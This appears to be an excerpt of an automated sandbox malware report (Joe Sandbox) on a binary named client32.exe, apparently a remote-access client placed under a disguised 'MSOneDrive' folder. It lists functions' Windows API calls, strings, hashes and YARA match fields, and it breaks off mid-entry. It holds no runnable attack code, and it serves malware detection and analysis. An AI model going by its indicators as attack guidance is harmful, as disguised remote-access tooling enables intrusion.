Instruction ID: 440ab7f6f978ac94d5fbb5a1369e97e0d7071da94511d4ee7fb8c05e869e7eaa
Opcode Fuzzy Hash: d102bea1e6aa5fe3566526d06b5f8e35bf021a81daf64ee8083e2d945d049b8f
Instruction Fuzzy Hash: B6218E31A04288AFE712DE38DD54BD5BB94AF86325F2041E4EDD5DB1C9DA709A48C750

Function 1102BA80 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

SetEvent.KERNEL32(?,Client,DisableGeolocation,00000000,00000000,82E0FB89,771B2EE0,?,00000000,1117AD0B,000000FF,?,1102E64C,Client,UseIPC,00000001), ref: 1102BB37

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

Part of subcall function 11102970: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,7774C3F0,?,1110371D,00000000,00000001,?,?,?,?,?,1102F49F), ref: 1110298E

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 1102BAFA

Strings

Client, xrefs: 1102BAB3
DisableGeolocation, xrefs: 1102BAAE

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Event$Create$__wcstoi64_malloc_memsetwsprintf
String ID: Client$DisableGeolocation
API String ID: 3315423714-4166767992
Opcode ID: 082469f737cabc087ebed4c4132e4a8d6814facffb7a87528326485359a24fac
Instruction ID: 909c90258048426ad92c62856d2e7a2749a5947dbc84b876734554e22f69ddca
Opcode Fuzzy Hash: 082469f737cabc087ebed4c4132e4a8d6814facffb7a87528326485359a24fac
Instruction Fuzzy Hash: 3E21DF34A41760BBEB21DB24CC45F9AF7E4A708B18F10426AFD255B3C4EBF4A4008B84

Function 11025F10 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11025F3A

Part of subcall function 110C3120: EnterCriticalSection.KERNEL32(00000000,00000000,75A33760,00000000,75A4A1D0,1105952B,?,?,?,?,110252A3,00000000,?,?,00000000), ref: 110C313B
Part of subcall function 110C3120: SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110C3168
Part of subcall function 110C3120: SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110C317A
Part of subcall function 110C3120: LeaveCriticalSection.KERNEL32(?,?,?,?,110252A3,00000000,?,?,00000000), ref: 110C3184

TranslateMessage.USER32(?), ref: 11025F50
DispatchMessageA.USER32(?), ref: 11025F56

Strings

Exit Msgloop, quit=%d, xrefs: 11025F69

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$CriticalSectionSend$DispatchEnterLeaveTranslate
String ID: Exit Msgloop, quit=%d
API String ID: 3212272093-2210386016
Opcode ID: 93184a9a7f577379092be9016fa146486f24bb93b5182c7edd668e587e3e6a0f
Instruction ID: 458663acd1e32bc52ab21155f198d3aa4dad7224c1f0df94b4fde6d061364d2b
Opcode Fuzzy Hash: 93184a9a7f577379092be9016fa146486f24bb93b5182c7edd668e587e3e6a0f
Instruction Fuzzy Hash: D0F0FC77E111156FDA00DAD59CC1FEFF37CAB84615FC08165EE1593148F631B40587A1

Function 6C803AB0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 6C803AC4
K32EnumProcessModules.KERNEL32(00000FA0,?,00000000,6C80774D,00000000,?,6C80774D,00000000,?,00000FA0,?), ref: 6C803AE4
SetLastError.KERNEL32(00000078,00000000,?,6C80774D,00000000,?,00000FA0,?), ref: 6C803AED

Strings

EnumProcessModules, xrefs: 6C803ABE

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: AddressEnumErrorLastModulesProcProcess
String ID: EnumProcessModules
API String ID: 3858832252-3735562946
Opcode ID: 95d265c68ec06678dd6ddba2120f17d6d4eb501bf0d033449ae239990ae5a7a0
Instruction ID: 33c51e2b2cffd115324e6d46f31cebea819db7898a5ad9ab85c7682ae2b5819c
Opcode Fuzzy Hash: 95d265c68ec06678dd6ddba2120f17d6d4eb501bf0d033449ae239990ae5a7a0
Instruction Fuzzy Hash: 54F05872610628AFC720DFA4D844E9B73E8EB48720F00CD2AF95A97640C674EC10CBE0

Function 6C803B00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 6C803B14
K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,6C807790,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6C803B34
SetLastError.KERNEL32(00000078,00000000,?,6C807790,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6C803B3D

Strings

GetModuleFileNameExA, xrefs: 6C803B0E

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: AddressErrorFileLastModuleNameProc
String ID: GetModuleFileNameExA
API String ID: 4084229558-758377266
Opcode ID: b06eb2de9347af3d6cc6390ca9aa3c150367fdad0b6223dbde30791de9b933f6
Instruction ID: 19854a4eca82f621a24e2b0fc39098ed98860ecc84f8e19ba023106c38c3f173
Opcode Fuzzy Hash: b06eb2de9347af3d6cc6390ca9aa3c150367fdad0b6223dbde30791de9b933f6
Instruction Fuzzy Hash: 09F03A72600228ABD730DEA4E944E9773A8AB48715F004A2AF94997640C670EC14CBE1

Function 1106B810 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000000FA), ref: 1106B867
EnterCriticalSection.KERNEL32(?), ref: 1106B874
LeaveCriticalSection.KERNEL32(?), ref: 1106B946

Strings

Push, xrefs: 1106B836

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID: Push
API String ID: 1566154052-4278761818
Opcode ID: c8e73f2153a96adabbe243cfa4b7c005f19ea282e9b9ca24df9cee0f30dd401a
Instruction ID: 4df47a80590d2ff1575c8e4611685a7654965963f85dd39abc8717f1393e9050
Opcode Fuzzy Hash: c8e73f2153a96adabbe243cfa4b7c005f19ea282e9b9ca24df9cee0f30dd401a
Instruction Fuzzy Hash: 0251BBB5E04B45DFE721CF64C884B86FBE9EF04314F068599D89A9B281E730ED44CBA0

Function 6C808C00 Relevance: 6.1, APIs: 4, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C849898,?,?,00000000,?,6C80C0C1,?,00000000), ref: 6C808C23
InterlockedExchange.KERNEL32(?,00000000), ref: 6C808C88
Sleep.KERNEL32(00000000,?,6C80C0C1,?,00000000), ref: 6C808C9E
LeaveCriticalSection.KERNEL32(6C849898,00000000), ref: 6C808CD0

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: CriticalSection$EnterExchangeInterlockedLeaveSleep
String ID:
API String ID: 4212191310-0
Opcode ID: cc88ded87eac14b5002b615ea0662c446b19eddbf44271d4e752f133b9cdefea
Instruction ID: ac6601904c9e8af4ef9ee664b7510706192d1325328fd85b47a5b5f96128e91e
Opcode Fuzzy Hash: cc88ded87eac14b5002b615ea0662c446b19eddbf44271d4e752f133b9cdefea
Instruction Fuzzy Hash: AF21D772B026049FDB319B19CE4069AB7BCBB9231CF164D37D85683A40D375A884CBD1

Function 009D1020 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 009D1027
GetStartupInfoW.KERNEL32(?), ref: 009D1084
GetModuleHandleW.KERNEL32(00000000,00000000,00000000,?), ref: 009D109F
ExitProcess.KERNEL32 ref: 009D10AC

Memory Dump Source

Source File: 0000000B.00000002.3741969770.00000000009D1000.00000020.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3741789673.00000000009D0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3742058275.00000000009D2000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_client32.jbxd

Yara matches

Similarity

API ID: CommandExitHandleInfoLineModuleProcessStartup
String ID:
API String ID: 2164999147-0
Opcode ID: 00f21dceda431ab95bda812473bacab2aecea015dfb1acc8267c49d9c95aef88
Instruction ID: 1b6e84b5a536046b435753bbd0c90ed26596a44bfe4961759578494a5a13ff81
Opcode Fuzzy Hash: 00f21dceda431ab95bda812473bacab2aecea015dfb1acc8267c49d9c95aef88
Instruction Fuzzy Hash: 3811A166C843A5A6EB307B94CA0537676FCAF10781F54C81BEC85A3281E7649CC1C2A5

Function 11133070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(11027FDF,?,111332C3,?), ref: 1113307C
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\MSOneDrive\client32.exe,00000104,?,111332C3,?), ref: 11133099

Strings

C:\Users\user\AppData\Local\MSOneDrive\client32.exe, xrefs: 11133084, 11133092

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess
String ID: C:\Users\user\AppData\Local\MSOneDrive\client32.exe
API String ID: 2251294070-1094415277
Opcode ID: a6c8bb78b7cff768986e440d02e8fb9d9739dc476a51eb8ebc485fd1644a9421
Instruction ID: 95a860fb11ce3698bf83e103d73d4dee3427247e4625c7d7c027b33986acbc52
Opcode Fuzzy Hash: a6c8bb78b7cff768986e440d02e8fb9d9739dc476a51eb8ebc485fd1644a9421
Instruction Fuzzy Hash: D511E3317352529FEB049F65CB88B69FBE8AB8032AF10483CE819C73C9DB71E4418754

Function 110C57C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

__strdup.LIBCMT ref: 110C57DA

Strings

..\CTL32\NSMString.cpp, xrefs: 110C581A
*this==pszSrc, xrefs: 110C581F

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __strdup
String ID: *this==pszSrc$..\CTL32\NSMString.cpp
API String ID: 838363481-1175285396
Opcode ID: 09327f646e07ade121880118fd776436c919fd30ebdfd1730cd527b45a0801e6
Instruction ID: 977ead267f76f83ff3eab1d3ecdd9d4c93443979ce516d127c4424599980823c
Opcode Fuzzy Hash: 09327f646e07ade121880118fd776436c919fd30ebdfd1730cd527b45a0801e6
Instruction Fuzzy Hash: 5FF02D79F007065BC301DE19AC04B9BF7E9AF51658B1484B6ECA9D7311E531A4058BD1

Function 11109520 Relevance: 4.6, APIs: 3, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000), ref: 11109571
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004), ref: 111095AE
RegCloseKey.ADVAPI32(00000000), ref: 111095B5

Part of subcall function 11132450: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110291B,75A38400,?,?,1113451F,00000000,CSDVersion,00000000,00000000,?), ref: 11132470

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseValue$Query
String ID:
API String ID: 392431914-0
Opcode ID: d01179d7914921633af1f95ba34bf02261fa1053a5ce10add05aa5ad212a0479
Instruction ID: b6a822484d63e5f43720bc89d1637945e72db1cf2086c07164aebed0ca827549
Opcode Fuzzy Hash: d01179d7914921633af1f95ba34bf02261fa1053a5ce10add05aa5ad212a0479
Instruction Fuzzy Hash: 8011DD7A600219BBD701CE48DC45FEB77A9AFC4729F00C119FE198A186E371A60687B5

Function 11104920 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1110494A
__wsplitpath.LIBCMT ref: 11104965

Part of subcall function 11157A24: __splitpath_helper.LIBCMT ref: 11157A66

GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 11104999

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DirectoryInformationSystemVolume__splitpath_helper__wsplitpath
String ID:
API String ID: 1847508633-0
Opcode ID: e00128b51e07567abddb4f5e022b8e4f6c55213232340030c4bfcc7508d070b3
Instruction ID: 41b85f1024430b5e478ef76c55f3555d5bba1c79e506978d3f2aac1c004cd1db
Opcode Fuzzy Hash: e00128b51e07567abddb4f5e022b8e4f6c55213232340030c4bfcc7508d070b3
Instruction Fuzzy Hash: 9D116175A40208ABDB15CB94CC42FEDF374AF49B04F5041D8EA246B1C0E7B02A48CB65

Function 11096D20 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110EC9C4,00000030,11130C07,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 11096D41
OpenProcessToken.ADVAPI32(00000000,?,?,110EC9C4,00000030,11130C07,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 11096D48

Part of subcall function 11096C50: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,00000001,?,00000000), ref: 11096C88
Part of subcall function 11096C50: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 11096CA4
Part of subcall function 11096C50: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,0109D280,0109D280,0109D280,0109D280,0109D280,0109D280,0109D280,111DA704,?,00000001,00000001), ref: 11096CD0
Part of subcall function 11096C50: EqualSid.ADVAPI32(?,0109D280,?,00000001,00000001), ref: 11096CE3

CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 11096D67

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$AllocateCloseCurrentEqualHandleInitializeOpen
String ID:
API String ID: 2256153495-0
Opcode ID: db81ee2fe5c491a2ccb29379fd95f1d0d1d742c7a3d4049ea7660b541be06c1b
Instruction ID: bef03fc96a11baf82ef458017e705a3ff4e764ad3467957e138692709f696853
Opcode Fuzzy Hash: db81ee2fe5c491a2ccb29379fd95f1d0d1d742c7a3d4049ea7660b541be06c1b
Instruction Fuzzy Hash: 6FF082B6E02218AFCB04DFB4ECC899EF7B8EB092087508079F82AC3205E635D900DF54

Function 11102C20 Relevance: 3.8, APIs: 3, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111DC098,82E0FB89,?,?,?,?,-00000001,1116FF88,000000FF,?,11102CF8,00000001,?,11158063,?), ref: 11102C54
EnterCriticalSection.KERNEL32(111DC098,82E0FB89,?,?,?,?,-00000001,1116FF88,000000FF,?,11102CF8,00000001,?,11158063,?), ref: 11102C70
LeaveCriticalSection.KERNEL32(111DC098,?,?,?,?,-00000001,1116FF88,000000FF,?,11102CF8,00000001,?,11158063,?), ref: 11102CB8

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID:
API String ID: 3991485460-0
Opcode ID: 21aed678011e1edbc94f63bc384b6260687119dd637fa6182ef04eff418a5b30
Instruction ID: af8f5faaa0e43fc37bf2fbcfa483d918300548e7e4694db782cc55eb6f48ea86
